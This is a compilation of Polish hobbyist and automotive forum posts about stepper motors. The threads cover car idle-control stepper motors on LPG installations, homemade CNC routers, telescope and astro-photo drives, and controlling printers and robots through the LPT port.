3- plastykowa rura w tych silnikach jak byś wiedział w ogóle jaka jest różnica między tymi silnikami jest częścią tej puch więc bez przesady
Nie żyjemy w ciemnogrodzie i zdjęcia to ja ci mogę robić tego czego chcesz i pisać że to jest co innego. Obaj wiem że to nie jest ten silnik ale przyglądając się twoim postom będziesz tak twierdził. Miałbym do ciebie większe zaufania jeśli chodzi o fantastykę ale jak przeczytałem o tej foli uszczelniającej drzwi i czujnikach ciśnienia w nich działające jak crash sensory. Pomyśl ludzie zadają pytania, a ty im opowiadasz treści z budowy "Startreka" więc kto tu opowiada fantastykę?? Przyznaj z jakiego forum nam tu serwujesz te rewelacje twierdząc że twoje diagramy???.
Jeśli chodzi o płyn widzisz był wymieniany ale sprawdzę jutro tą folie w drzwiach by przy trzaśnięciu drzwiami uniknąć nie potrzebnego wzrostu ciśnienia i samoistnemu uruchomieniu się SRS



Temat: ploter frezujący 230cm x 240cm x 35cm (zamiennie plazma)
Witam kolegów!

Po niespełna 2 rocznej przerwie przyszedł czas na wykonanie na własny użytek plotera frezującego (z możliwością adaptacji plazmy) o powierzchni roboczej 230mm x 2400mm x 350mm.

Większość asortymentu do wykonania już mam lub zakupiłem.
Kwota przeznaczona na budowę do 15.000.

Agregat plazmowy chiński ale tnie blachy do 40mm. - 4850zł (allegro)
Kompresor polski z 1998 o pojemnośći 400 litrów, tłokowy, wydajność 12 atm, przy

efektywnej wydajności 500litrów/min - 1000zł )))))) od znajomego z całą automatyką - silnik 5,5kW (był używany do zasilania całej produkcji okien PCV)

1) OŚ X

2 prowadnice szynowe INA o długości 2314mm + po 2 wózki na prowadnice - to miałem
napęd na listwach zębatych silnikiem 8,5Nm, sterowanie m880

2) OŚ Y

2 prowadnice szynowe THK o długości 2460mm i po 2 wózki na prowadnicę
silnik krokowy 8,5Nm, sterownik m880
napęd realizowany poprzez listwy zębate

3) OŚ Z
2 prowadnice szynowe INA o długości 600mm i po 2 wózki na prowadnicę
silnik 3,0Nm Sanyo Denki, sterownik m542
napęd śruba kulowa fi 25mm skok 10mm z nakrętką bezluzową

Prędkości dojazdowe jakie chcę uzyskać to minimum 20m/min.

Niedługo zdjęcia elementów plus powoli ruszam z etapem budowy.
Zapraszam do dyskusji i wymiany doświadczenia



Temat: Naprawa silnika krokowego
Witam,jakiś czas temu wyczyscilem silniczek krokowy plynem do mycia silnikow i splukalem woda co spowodowalo jego zatrzymanie na amen.Stwierdzilem ze polak potrafi i rozebralem go (trzeba pilnikem rozpilowac progi zabezpieczajace) na czynniki pierwsze i przesmarowalem wd-40.Zaczal dzialac jak nowy!Ale po jakims czasie mialem wystrzal lpg (2 generacja) i rozerwalo mi krokowca tzn,plastikowa czesc wisiala na wtyczce:( Nie zrazilem sie tym i po wykonaniu kilku patentow z zabezpieczeniem antyotwieraniowym silniczek dziala jak nowy. To dowod ze mozna dzieki godzinie roboty zaoszczedzic stówke na paliwo.Silnik ma prostą budowe-magnes,uzwojenie i sprezynke ktora odbija.W razie pytan zapraszam na priv.Pozdrawiam!




Temat: Platforma Equatorialna
Jeśli ktoś zainteresowany jest budową platformy rolkowej to jest to dla niego chyba dobra informacja. Pojawiły się (między innymi na allegro) małe silniki krokowe z przekładnią zębatą o wartości 80:1. Taki silnik ma krok 7.5 stopnia i dość spory moment dzięki przekładni zębatej.
Załączam rysunek silnika dla konstruktorów, postaram się napisać też w przyszłości coś na temat wykorzystania tego silnika do napędu platformy rolkowej jak do tego dojdzie. Wydaje się, że można go użyć także do napędu platformy śrubowej. Ze względu na dość spory moment można go też zastosować do napędu jakiegoś gotowego montażu a na pewno we własnej konstrukcji montażu ATM.
L.J.





Temat: Instalacja gazowa LPG
1. Instalacja gazowa w moim Palio i w Sienie z wypalonym zaworem jest drugiej generacji, czyli generacja pierwsza z automatycznym przełączeniem z benzyny na gaz (prosta w budowie prawie jak cep), mechaniory ustawiają ją na "słuch", później musiałem ją sam doregulowywać u znajomego z analizatorem spalin.

2. Silniki Fiata są projektowane na 150 kkm w przypadku benzyny, 250 kkm sławetny 1.3 diesel używany nawet w toyocie i trudno mieć pretensje do gazu że się silnik rozpadł po tym dystansie

3. Silnik krokowy rzeczywiście na gazie po jakimś czasie zostaje "zaklejony" parafiną wytrąconą z gazu (to jest to co się zlewa z parownika), ale to jest problem wszystkich samochodów na gazie, nie tylko fiata czy dacii

4. Samochody sprowadzone jako "prawie nówki metalic po zderzeniu z TIRem" nie miały, nie mają i nie będą miały przebiegu mniejszego niż 200 kkm, więc też nie można mieć pretensji do gazu, zwłaszcza że takie auta są tanie i założenie do nich sekwencji podwoi lub potroi ich wartość

5. Zamierzam Daćką jeździć nie dalej niż 100 kkm, więc problem będzie miał następny właściciel.

6. Jakość paliwa w Polsce jest tragiczna i nie ważne czy to jest LPG, PB czy ON, przy czym wydaje się, że najgorzej trafić na zły ON ponieważ naprawa będzie najdroższa zwłaszcza przy common rail

Zapomniałem o silniku dacii 1.4 MPI z tego co czytam to regulacje zaworów trzeba przeprowadzić nawet jak się nie ma gazu. Poza tym ta niby fabryczna instalacja w Rumunii jest zakładana tylko do 1.6 MPI



Temat: Problem z odpalaniem ciepłego silnika M20B20 1988r
Czasem gazownicy zakładają emulator temperatury silnika <nazwa ładna ale budowa prosta jak cep>
Poprawia on działanie instalacji II generacji na wolnych obrotach <trochę eliminuje kiwanie na biegu jałowym>
A działa on tak , że w czasie pracy na gazie podaje sygnał do sterownika silnika jak by silnik był zimny.
A sterownik wtedy nie kombinuje silniczkiem krokowym tylko otwiera go do pewnej wartości i tak pozostawia.
A czy to coś wnosi do tematu to nie wiem




Temat: [80 B3 KV/NG] przekladka silnika
tak, wylecialo mi ze łba. Przełóż, aparat, podłącz podciśnienie jak było w KV, USTAW ZAPŁON wg. książeczki Etzolda od B3 (ja ustawiałem "na ucho" na wolnych + korekcja po przejażdżce, ale też jeździłem nim 13 lat, wiec każdy szmer znałem). Gdyby się okazało , że po przełożeniu aparatu nie zapala - nie panikuj - po prostu założyłeś kopułkę obróconą o 180 st.

Silnik zapali i pojedzie na rozdzielaczu z NG, ale nie będziesz miał korekcji wyprzedzenia - bo nie ma skąd jej wziąć, chybaże dorezasz se sygnał z potencjomentru przepustnicy -> voltaż na wejściu sterującym aparatu - imho niepotrzebna rzeźba. Jak weźmiesz do ręki oba wyjęte aparaty, to zobaczysz , że jedyna właściwie różnica w budowie to właśnie elemant wykonawczy wyprzedzacza - cięgno od membranki podcisnienia, albo cięgno od (chyba) nalusiego silniczka krokowego.

To, że skrzynia z silnikiem Ci się zeszła, nie znaczy jeszcze, że wałek skrzyni nie opiera się o wał. Ja nawet skręciłem "finalnie", po czymokazało się, że "nie mam sprzęgła" - a to właśnie to było.

Powodzenia.



Temat: Frezarka CNC
Od kilku lat gnębię temat CNC.
Postanowiłem załorzyć nowy temat gdzie napiszę co nie co na temat realizacji mojego projektu.

Silniki krokowe udało mi się kupić tanio i mocne tak na zapas
W chwili obecnej składam sterowniki i szykuję się do budowy zasilacza.

Jako budulec frezarki posłuży MDF, prowadnice na rurze lub pręcie fi 30 - 40 i zwykłych łożyskach kulowych. Taki zestaw powinien na początek wystarczyć do nauki i wykonania dokładniejszej maszyny. Koszt powinien całej mszyny zamknąć się w 1000 zł. Same silniki kosztowały 500 zł, więc jak widzicie cała maszyna ze sterownikami ma szkosztować 500 zł. Sterowniki mam nadzieję zamkąć w 200 zł a zasilacz w 100. Pozostaje 200 na mechanikę. Cała elektronika jest na tyle dobra i silniki, że może posłużyć do profesjonalnego sprzętu więc wraz z potrzebami można przekładać do kolejnych maszyn.

Jakieś zdjęcia zamieszczę niedługo



Temat: Audi Coupe Quattro [HIV]

Juz zrobilem porzadek Jak tam wogole trwaja prace nad Audi ??

Jak wcześniej mówiłem Audi pokonała, dwóch fachowców od elektroniki samochodowej... pfff śmiech na sali, zero pojęcia, a o budowie rajdówki to nawet w telewizji nie słyszeli. Sytuacja się wkońcu zaczęła robic dramatyczna, a z pomocą przyszli Panowie Dwoiczko. Konrad wypruł prawie cała elektryke, więc i siana nie ma, natomiast Pan Jurek uruchomił motor... zajęło mu to uwaga.... 6 h a nie miesiąc. Audi pięknie bangla, rzeczwiście silnik jest w idealnym stanie bardzo ładnie pracuje, najlepsze jest to, że nie ma żadnego komputera, cewka, aparat, rozdzielacz i moduł są od silnika KV czyli bez turbo, oczywiście silnika krokowego też nie ma, zostały tylko czujniki temperatury, oleju i to wszystko, zaplon na włącznik, pompa paliwowa tez.... szukam jeszcze intercoolera od Peugota Boxera, bo musze jeszcze kilka trików wykonać... w piątek zrobie testy tak przed Elmotem




Temat: Kontrolka Aku.
Witam, ja mam taki sam problem jak NOWY777 i szukalem teraz nowego silniczka krokowego na allegro ( przewaznie tam szukam czesci do auta zeby miec porwnanie cen ) i wszsytkie silniczki krokowe sa do wersji 1.8 lub 2.0 a ja posiadam silnik 1.6 ;/ wiec nasuwa mi sie glupie pytanie, czy ja posiadam takowa czesc w moim aucie ?? Sorki za to pytanie ale jestem laikiem z budowy pojazdow ;/ z gory dzieki i pozdrawiam ... aha mozna to samemu wyczyscic czy tylko mechanik



Temat: Łożyska w obudowie żeliwnej i oś z podporami
Mam pytanie do bardziej doświadczonych w budowie CNC
Mam zamiar zastosować to w mojej CNC frezarce do aluminium , miękkie tworzywa , PCB

Czy łożyska w obudowie żeliwnej typ UCFL lub UCF nadają się do zastosowania na końcach śruby trapezowej napędowej osi

Czy w osi Y (tej na której jest zawieszona oś Z) jak zastosuję wałki fi20 z podporami i dodatkowo zamocowanymi na końcach to wytrzymałość na odkształcanie będzie lepsza niż wałki bez podpór z łożyskami zamkniętymi z rozstawem 150 mm

Jaki można zawiesić ciężar całkowity na osi Y z wałkami fi20 i podporami (czyli ciężar osi Z , wrzeciona , silnika krokowego itp)

Czy połączenie śruba napędowa/silnik poprzez przełożenie na pasku zębatym pomimo zwiększenia kosztów i szybkości jest równoznaczne z przełożeniem śruba napędowa/sprzęgło/silnik



Temat: Kreciolek 700obr/min sterowany z proca ?


| Hmm zastanawiam sie bo wymontowalem kiedys dwa silniki z HP600
| chyba te krecace walkiem przesuwu papieru i zastanawiam sie czy sie nadaja

powinny.


Oj, to jest ponad 10rps-ów, czarno to widzę. Oczywiście można pogonić silniki
krokowe szybko, ale koszt budowy odpowiedniego sterownika załamuje sensowność
całego projektu. (max jaki widziałem to 45rps przy połowie monentu
znamionowego!)

Moim zdaniem:
- silnik DC
- PWM jako sterowanie (1x IRF przykładowo)
- czujnik obrotów (mozę być transoptor odbiciowy - sygnał wprost na przerwanie
procka)
- układ ukontrolera...powiedzmy 2051 powinien wystarczyć

Nie doczytałem jakie dokładności wchodzą w grę, nie wiem też czy jest
dopuszczalny chwilowy przerzut przy zmianie wartości pożądanej...jeśli układ
nie musi być naprawdę wyczynowy to sugerowane rozwiazanie będzie chyba jednym z
tanszych i pewniejszych (MSZ).

Miłej nocki Jarku.
__
Pzd, Irek.N.





Temat: Sterowanie żaluzjami
Witam

Na początku pozdrowienia dla wszystkich konstruujących swój wymarzony system inteligentnego domu!

Ja jestem na etapie planowania swojego rozwiązania a zarazem przygotowuje się do budowy domu. Ostatnio przyglądałem się prezentowanemu na stronie projektowi sterownika żaluzji co skłoniło mnie do refleksji. Wydawało mi się do tej pory, że żaluzje mają jakieś silniki krokowe, które trzeba pewnie odpowiednio wysterować itp itd. Natomiast z projektu wynika że sterujemy dwoma prostymi wyjściami typu "góra", "dół". Ponad to opis złącza Molex sugeruje, że dostosowujemy się do jakiegoś konkretnego złącza. Czy to jest jakiś standard i rolety wszystkich producentów tak właśnie są sterowane? A co z wyłączeniem silników? Czy rolety mają jakieś wyłączniki krańcowe?

--
Pozdrawiam
Michał



Temat: bardzo niemobilny teleskop czyli PLT 270/1500
Z drganiami faktycznie był problem (drgania skrętne dolnej belki wideł, jest ona skręcana dużym momentem (ciężar telepa i ramię 450mm)),
ale po dodaniu wzmocnień problem znacznie się uspokoił. Zobaczymy jak to będzie wyglądało w pracy.
Lusterko kontowe powinno być ok, mam niski wyciąg (55mm) a zaczyna się on na srednicy 302mm, co daje ok 14mm srednicy strefy oświetlonej dla 100% promienii ok 35mm dla 75%. A zawsze to 2% zysku na obstrukcji (6% byłoby dla lusterka 64mm, a tak jest 4%) co napewno zaowocuje wzrostem kontrastu.
Sprzęgło będzie przed przekładnią, bedzie ona napędzana dwoma silnikami krokowym i zwykłym.
Faktycznie ta przekładnia ma mały luz (jakieś poł obrotu małego wałka przy zmianie kierunków), zobaczymy czy bedzie przeszkadzać.
Rozważam poważnie budowe jakiejś budki na tą konstrukcję(chociaż demontaż nie jest bardzo skomplikowany).
Dzisiaj zawiozłem silniki na warsztat tokarski
więc już niedługo kolejne fotki z napędami



Temat: Platforma astrofoto
Witam
Jako, że jestem bardzo zainteresowany budową własnej platformy mam pytanie do Leszka: mam problem z napędem platformy i chciałbym zastosować silniki krokowe z jakiejkolwiek drukarki. Czy jest to realne, a jesli nie to gdzie można dostać odpowiednie silniczki? Na Allegro jakoś mi nie "leżą" proponowane silniki. A może się mylę?
I drugie pytanie - na jakiej zasadzie działa autoguiding (jeśli dobrze napisałem)? Czy układ elektroniczny wychwytuje zmiany na matrycy i odpowiednio reaguje czy w inny sposób jest to realizowane? Trochę się znam na elektronice, więc powinienem zrozumieć jeśli użyjesz fachowego nazewnictwa podzespołów.
Pozdrawiam



Temat: 1

Jestem modelarzem i potrzebuje urządzenia (frezarki) do wycinania w sklejce o grubości ok 5 mm zaprogramowanych kształtów (np. wręg). Pole pracy takiej frezarki to ok 300x300 mm.

Na forum kolega Marecki-MK jest modelarzem oraz budował frezarkę między innymi do wycinania wręgów oto link do jego konstrukcji :

http://www.cnc.info.pl/to...dowa-vt3529.htm

oraz jego strona www :

http://www.ship.modelarstwo.org.pl/cnc.htm

Wyczerpująco poruszył temat opisując go w bardzo dobry sposób .

Ale dobrze na początku wiedzieć jaką gotówka dysponujemy , łatwiej jest dopasować i dobrać konstrukcję i elektronikę oczywiście wszystko w granicach rozsądku aby zachować podstawowe zasady budowy swojego małego cnc

Ja ostatnio zbudowałem ploter o polu roboczym 300x230 a stolik jest właśnie 300x300 . Jako wrzeciono oczywiście Kress , silniki krokowe 3 Nm a sterownie oparte jest na sterownikach M542.



Temat: Auto zawiesza sie przy 3 tys obrotów
Witam moj kolega sprawil sobie niedawno BMW E36 z silnikiem 1.8is z 1992r. i jest pewien problem poniewaz auto zawiesza sie na chwilke przy 3 tys obrotow i ogolnie jesli chodzi o przyspieszenie to nie ma szans ze zwyklym 1.8 gdzie jest kilka konikow mniej! wymienilismy juz kilka przeplywomierzy ale na rzadnym nie bylo lepiej co to moze byc?? czy jest mozliwosc ze np te przeplywomierze sa od innego modelu jesli tak to jak to poznac bo moze od poczatku tu byl taki jak przy M40 bo ja zadnej roznicy w budowie nie widze!! czy moze to byc wina komputera lu silniczka krokowego?? prosze o pomoc w tej sprawie



Temat: [Cari 1.6] problem z kontrolką akumulatora

dzięki w tygodniu to wszystko sprawdze co mi poradziliście zapomniałem tylko dodac że gdy obroty spadają przygasają lekko światła ale utrzymują się na poziomie 1000 natomist gdy zgasze światła gwałtownie wzrastają wskakują na 1100 do 1400 (przed rozmową z wami miałem teze że to może by silniczek krokowy albo regulator napięcia) co wy na to? poprzednio miałem golfa 1,4 a tam filozofia układu elektronicznego oraz budowy silnika była na poziomie budowy śrubokręta
Ja obstawiam albo Aku albo Masa ładowanie będziesz miał jak po wyłączeniu dodatkowego obciążenia oświetlenie mocniej świeci a obroty? to jest związane raczej z za niskim napięciem (bo to benzyna)



Temat: Gasnący coupe 16VT
Żeby się do niego dostać musisz wyjąć akumulator, wykręcić wszystkie 5 (chyba) węży (jeden z nich jest do silniczka krokowego wiec mozna go przy okazji wyczyścić). Wyjmujesz odstojnik, wlewasz do niego troche benzyny ekstrakcyjnej zatykasz wszystkie otwory palcami, potrząsasz, wylewasz benzyne, jak masz możliwość to wydmchaj spręzonym powietrzem resztki, jak nie to odczekaj aż benzyna odparuje. Poskładaj, odpal auto jeśli to wina odstojnika to za ok 6miesięcy operacje należy powtórzyć (tak jest z moją Qpetą).
P.S. gdybym miał budowe FC w 1 palcu to bym nie robił 2giej kapy silnika w ciągu kilku miesięcy heheh



Temat: panowie sil. krokowy
to się podepnę

jak ma wyglądać prawidłowe czyszczenie silniczka krokowego w e32 3,5l

1.do jakiego momentu zanurzyć go stawiając go w pozycjii wtyczką do góry---ponoć całego nie wolno moczyć
2.wiem,wiem,że było nie raz,ale jaki sprawdzony środek użyć,
nitro się nie spisało do końca(kiedyś w innym aucie stosowałem środek do usówania nagarów kotłowych-skończył się,i nie chcę ryzykować bo tamten miał inną budowę
3.na jak długo go moczyć/czy wyczyszczę go na błysk



Temat: [Cari 1.6] problem z kontrolką akumulatora
dzięki w tygodniu to wszystko sprawdze co mi poradziliście zapomniałem tylko dodac że gdy obroty spadają przygasają lekko światła ale utrzymują się na poziomie 1000 natomist gdy zgasze światła gwałtownie wzrastają wskakują na 1100 do 1400 (przed rozmową z wami miałem teze że to może by silniczek krokowy albo regulator napięcia) co wy na to? poprzednio miałem golfa 1,4 a tam filozofia układu elektronicznego oraz budowy silnika była na poziomie budowy śrubokręta



Temat: skaner dyskotekowy


poszukuje kogos kto posiada jakies informacje lub doswiadczenie w budowie
swietlnych skanerow dyskotekowych


Ja... ale musisz miec duzo pieniedzy, drivery do silnikow krokowych i
same silniki kosztuja sporo kasy.
Generalnie rzecz biorac budujac pojedyncze urzadzenie wydasz tyle kasy
ile kosztuje dobre urzadzenie firmy MARTIN, pomijajac koszty filtrow
dichroicznych i szklanych gobosow.





Temat: Wyłącznik krańcowy
Witam

Łącznik krańcowy to zwykle łącznik miniaturowy wyposażony w element napędowy powodujący przełączenie tego mikrołącznika.

Można obejrzeć budowę i różne wykonania w katalogach jak np:
http://pokoj.com.pl/uploa...iki_09_2008.pdf

Czy można na bazie łączników krańcowych zbudować układ sterowania silnika co ćwierć obrotu ? Moze i tak ale będzie mało precyzyjny.

Może lepiej użyć silnik krokowy

Pozdrawiam



Temat: obrotnica


Ja mam zamiar wykorzystać do tego silnik krokowy + sterownik na
mikrokontrolerze. Silnik ma 24 kroki na obrót, co daje 15 stopni na krok.
Można też sterować tzw. mikrokrokami i wychodzi wtedy krok 7,5 stopnia.
Myślę, że taka dokładność wystarczy przy obrotnicy o średnicy 20 cm i
normalnych torach do TT. Zaś przy odpowiednim oprogramowaniu da się zrobić
ustawianie się obrotnicy do zadanego toru. Zresztą, najtrudniejsze jest
chyba właśnie wykonanie napędu i doprowadzenia prądu do szyn na obrotnicy.
Jak mi się uda zbudować tą obrotnicę to wrzucę opis budowy gdzieś na WWW.


A co będzie jak się za bardzo rozpędzi? Może nie dać się zatrzymać w
miejscu, zawsze będzie jakaś bezwładność. Dokładność zatrzymania musi być w
granicach 0,5 mm - załóżmy. Co wtedy, będzie kontrować w drugą stronę?

DarekP





Temat: mechanizm do teleskopu
Probuje zrobic taki mechanizm przy uzyciu silnika od wycieraczek
samochodowych. Udalo mi sie otrzymac odpowiednie przelozenie i zmniejszyc
troche obroty silnika. Budowe skoncze za tydzien do jade do woja ktory ma
tokarke aby zrobic kilka trybow i innch czesci. Obawiam sie troche ze beda
drgania i ciagle mysle jak sie ich pozbyc. Moze jakies pomysly?

pzdr

Witam
Czy ktos probowal zbudowac mechanizm do prowadzenia teleskopu? Nawet
"delikatni" nie ustrzega sie potracen statywu. Tymczasem mechanizmy
bazujace
na sinikach krokowych sa bardzo delikatne i... ciche. Jesli ktos probowal
ta
kromke to prosze o odzew :)

ps. przeciez Polak potrafi zrobic coz z niczego ;)

_______________________________
Pozdrawiam
PJan






Temat: Manekin by megadega Worklog
Wątpię, aby takie rozwiązanie było możliwe - przecież gdy grasz, nie możesz równocześnie używać strzałek w innych programach... Jeśli chodzi zaś o opis i schemat budowy samej części elektronicznej, to myślałem o czymś takim: http://www.chip.pl/arts/a...lear_62847.html .Oczywiście są też inne rozwiązania (może prostsze). poszukaj na elektroda.pl - tam są schematy i pod LPT i COM'a. Dość ciekawy i długi temat znajduje się tutaj - Kontroler silnika krokowego pod LPT.
Pozdrawiam
Holcer



Temat: [850] Problem ze wspomaganiem ?
A wiem, jestem strasznie zalatany wszystko na mojej glowie - 3 budowy na raz...

Ale jak wam opowiem to zdebiejecie

Wiec tak... Pewnego dnia udalem sie do mojego auta z przekonaniem, ze musi sie to dac naprawic. Postanowilem przejrzec przegub krzyzowy bo wszystko wskazywalo wlasnie na niego. Ten w kabinie czysciutki, az lsnil. Ten za kabina troche przybrudzony. Wpadlem na genialny (jak sie pozniej okazalo) pomysl:
WYKAPAC KRZYZAK W "WD 40"
Jakiez bylo moje zdziwienie gdy kierownica zaczela pracowac lepiej niz w dniu zakupu. Do dzisiaj wszystko jest OK, a kierownica kreci sie lekko jak nigdy dotychczas.

Wszystkie teorie legly w gruzach, nie mniej jednak dziekuje za pomoc, odpowiedzi i wszelkie sugestie.

Ps. Dzisiaj walczylem z silnikiem krokowym, znaczy czyscilem go. Jak sie okaze ze bedzie dzialac prawidlowo to smialo mozna powiedziec, ze Volvo naprawia sie kosmetykami

Dziekuje.



Temat: Accord gaśnie na LPG

taki bardziew recznie regulowany nie wiem jak to sie nazywa
Wszystkie reduktory w 2 generacji LPG są ręcznie regulowane chyba miałeś na myśli "register" śrubkę która się montuje na węży zamiast pseudo silniczka krokowego regulującego ilość zasysanego LPG.

małe luzy zaworowe
Budowa głowicy i trzonków zaworowych w hondzie nie pozwala na zużywanie się tego podzespołu w tym kierunku co piszesz, a racze w odwrotnym luz staje się coraz większy przez co skok zaworu jest mniejszy jego otwarcie jest opóźnione, a zamknięcie wcześniejsze.

gazie zawory dość szybko siadaja
Skąd taki wniosek?? poprzyj go jakoś. Jeśli instalacja jest dobrze zestrojona auto nie pracuje na ubogich mieszankach to luz zaworowy zmienia się tak samo jak przy zasilaniu benzynom.



Temat: NOS

Dokładnej budowy naszego gaźnika nie znam, ale z tego co wiem, to mamy pokrętło do regulacji składu mieszanki w gaźniku. Prostym rozwiązaniem wydaje się zastosowanie silniczka krokowego wpiętego w to pokrętło. Oczywiście całość sterowana by musiała być komputerkiem, no i przydałoby się sondę lambda w to wpiąć, coby mieć jakiś parametr sterujący.
Problem na który nie znam odpowiedzi, to jaką bezwładność (odpowiedź czasową) ma ta regulacja, bo jeśli jest to rzędu kilku sekund to trochę lipa.
Czekam na wypowiedź speca od naszego gaźnika w tej kwestii


NX stosuje o wiele prostsze rozwiązanie
Podkładkę pod gaźnik która posiada przewód rozpylający mieszankę paliwa i podtlenku.
Dzięki zastosowaniu do tego dysz o odpowiednich przekrojach możemy uzyskać właściwy skład mieszanki dla strzału.
można obejrzeć taki system tu: http://www.nitrousexpress...hitman_carb.pdf

Ale amerykanie raczej nie widzieli takiego gaźnika więc nie będzie gotowych podkładek, trzebaby zamowic albo wymyslec indywidualnie. Inna sprawa to cisnienie paliwa, przydałaby się dobra pompa paliwowa. No i wreszcie regulacja składu mieszanki, ponieważ Tico nie ma wtrysku, do wyregulowania potrzebna jest zewnętrzna sonda, która jest droższa niż niejedno tico i tylko kilka firm w polsce taka ma.

Dlatego jak napisalem wczesniej Nitro w tico jest do zrobiebnia ale jest to ciezki temat.



Temat: Sterowanie drukarką ????????
Hi,


Nie mam konkretnego wybranego modelu, ale pytam w której było by to mozliwe,
bo chcę wykorzystać mechanizm tej drukarki do budowy pewnego urządzenia.


Prawie każda igłówka ma silnik krokowy umożliwiający
przesuwanie papieru w obie strony. Pierwszy lepszy
przykład z brzegu: Star LC-20. Sam kiedyś ją programo-
wałem, aby przesuwała papier do tyłu.





Temat: Check Engine
Witam...

Po wymianie silniczka krokowego u mechanika zaczela mi sie swiecic kontrolka check engine... Jako kompletny lamer w kwestii budowy samochodow, po przestudiowaniu ksiazki "Sam naprawiam" odczytalem kod bledu i wyszlo 25. W ksiazce czytam, ze jest to
czujnik temperatury powietrza dolotowego (MAT) - sygnalizacja zbyt niskiej temperatury - ponizej -38,5 stopni.
Nic mi to niestety nie mowi. Czy moge naprawic TO sam, co w ogole mam naprawic, gdzie patrzec.

Prosze o pomoc.

Pozdrawiam.

Cralt



Temat: Cichy wentylator na Pentium IV


hmmm, a co sadzicie o tym:
http://www.arctic-cooling.com/en/products/super_silent_4_tc/


He, te to stosujemy w firmie do chlodzenia driverów do silników
krokowych :)
Na procka ich nie zakladalem, ale budowe maja taka jak stare

z "wiatraka" wychodzi termistor wcisniety w radiator,
który reguluje obroty wiatraczka w zaleznosci od temperatury radiatora.
Glosnosc porównywalna z intelowskim....
Kosztuja w hurcie ok. 18-20zl netto.
Mysle, ze do 2,8GHz powinien wystarczyc...

ax





Temat: podczerwień...

witam, mam takie pytanie - czy da sie zrobic cosw rodzaju anteny
kieruknowej, tyle ze do odbioru podczerwieni? tzn nadajnik w postaci jakiejs
silnej diody, i odbiornik w postai detektora w obudowie z długą szczeliną
(chodzi mi o wykrywanie kąta źródła wzgledem odbiornika - odbiornik kręciłby
sie na jakims silniku krokowym, i w pewnym znanym momencie zarejestrowalby
błysk od nadajnika) jak oceniacie ten pomysł? znajac położenie 2 takich
odbiorników mozna by w miare dokładnie wyznaczyc położenie źródła na
stosunkowo małej powierzchni? (np w pokoju) oczywiscie zdaje sobie sprawe z
przeszkód np jakis mebel i wiazka nie dociera (ale na to mam pomysł)
mój problem polega na tym, jaki jest standardowy poziom bezpośredniego
sygnału takiej diody w porównaniu do poziomu odbic? i jakie materiały bardzo
dobrze pochłaniaja podczerwien? (materiał na szczeline)
jak sądzicie, jaką rozdzielczosc kątowa mozna w ten sposób uzyskac?


Był na tej grupie taki jeden co budował pokojowego GPSa. Poszukaj. Pewno jak
będzie miał czas miedzy budową Tokomaka i Teleportu to odpowie. Tomek




Temat: Macie jakieś patenty na samoczynne,automatyczne nawożenie?

Hej,

Kiedys myslalem o czyms takim
http://www.discus.com.pl/sklep/product_info.php?products_id=1936

Ludzie uzywaja podobnych systemów z 1 lub wieloma takimi pompkami. Mysle o budowie takiej pompki z wykorzystanie silnika krokowego. Moze ktos juz cos takiego zrobil to niech sie pochwali i podzieli swoimi doswiadczeniami.

Pozdrawiam
Zultek


Droga impreza, to już prawie na to samo wyjdzie jak kupi się za ok. 900zł system Aquamedic z trzema pompkami od razu z timerem sterującym każdą z osobna.
Ja myślę o tym by puścić do takiej pompki wężyki z 3 źródeł łącząc jakimś rogałęźnikiem w jeden i podpiąć do wejścia.Takie chwilowe zmieszanie nawozów(na końcówce) chyba nie zaszkodziłoby?
Na tej stronce nie podają wcale jaką najmniejszą ilość płynu potrafi dozować ten dozownik.




Temat: LPT


Czy ktos moze zna strony na temat budowy roznych urzadzen sterowanych
przez
port LPT? Najbardziej zalezy mi na na jakis prostych robotach opartych na
silnikach krokowych


no i jezeli chcesz sterowac tak robotami to aplikacje beda musialy
byc chociaz troche "real-time" np. RT-Linux czy RTAI

chyba ze nie wymagasz duzej dokladnosci......

/piter





Temat: sterowanie sprzegla


Odsyłam do przeczytania teori z pracy silników krokowych. Hmm..., trochę
nie na temat - może nie. Pomoże to zrozumieć działenie sprzęgła dlaczego
występują tam takie opóźnienia i po co był ten układ tyrystorowy. Żeby
sprzęgło działało w prawidłowy sposób prawdopodobnie nie obędzie się bez
odbudowy układu tyrystorowego lub budowy nowego układu. Można spróbować
przyłożyć napiecie stałe np 1kV a prąd ograniczyć rezystorem połączonym
szeregowo do znamionowego prądu cewki sprzęgła.


E tam, nie uwierze ze zrobili _pompke_ pradowa na tyrystorach. Zazwyczaj uklad
konczyl sie prosto...moze nie az tak jak pisalem wczesniej (opornik + elektrolit),
ale nie az czoperem. :-)

__
Pzd, Irek.N.





Temat: LPT


| Czy ktos moze zna strony na temat budowy roznych urzadzen sterowanych przez
| port LPT? Najbardziej zalezy mi na na jakis prostych robotach opartych na
| silnikach krokowych

no i jezeli chcesz sterowac tak robotami to aplikacje beda musialy
byc chociaz troche "real-time" np. RT-Linux czy RTAI


Bez przesady - z odpowiednio szybkim procesorem nawet zwykly linux
wyjdzie RT ..

J.





Temat: LPT
Osoba podająca się za: K4m3L przyczyniła się do uszczuplenia moich

2004-01-05 19:19:


Czy ktos moze zna strony na temat budowy roznych urzadzen sterowanych przez
port LPT? Najbardziej zalezy mi na na jakis prostych robotach opartych na
silnikach krokowych
Dzieki :)


Projekt pseudo-robota sterowanego serwomechnizmami modelarskimi
znajdziesz w Elektronie Praktycznej z 1999 roku. Była płytka z
elektroniką sterującą i przykłady softu.





Temat: Macie jakieś patenty na samoczynne,automatyczne nawożenie?
Hej,

Kiedys myslalem o czyms takim
http://www.discus.com.pl/...roducts_id=1936

Ludzie uzywaja podobnych systemów z 1 lub wieloma takimi pompkami. Mysle o budowie takiej pompki z wykorzystanie silnika krokowego. Moze ktos juz cos takiego zrobil to niech sie pochwali i podzieli swoimi doswiadczeniami.

Pozdrawiam
Zultek



Temat: Sterowanie drukarką ????????


Hi,

| Nie mam konkretnego wybranego modelu, ale


pytam w której było by to mozliwe,

| bo chcę wykorzystać mechanizm tej drukarki do


budowy pewnego urządzenia.


Prawie każda igłówka ma silnik krokowy
umożliwiający
przesuwanie papieru w obie strony. Pierwszy
lepszy
przykład z brzegu: Star LC-20. Sam kiedyś ją
programo-
wałem, aby przesuwała papier do tyłu.


Z instrukcji od Star'a LC-15:
Do przodu to jest kilka np.:
Przesuwa papier o n/216 cala -1B,4A,n
Do tylu o n/216 cala         -1B,6A,n





Temat: [R400 1.6SI "97 LPG]
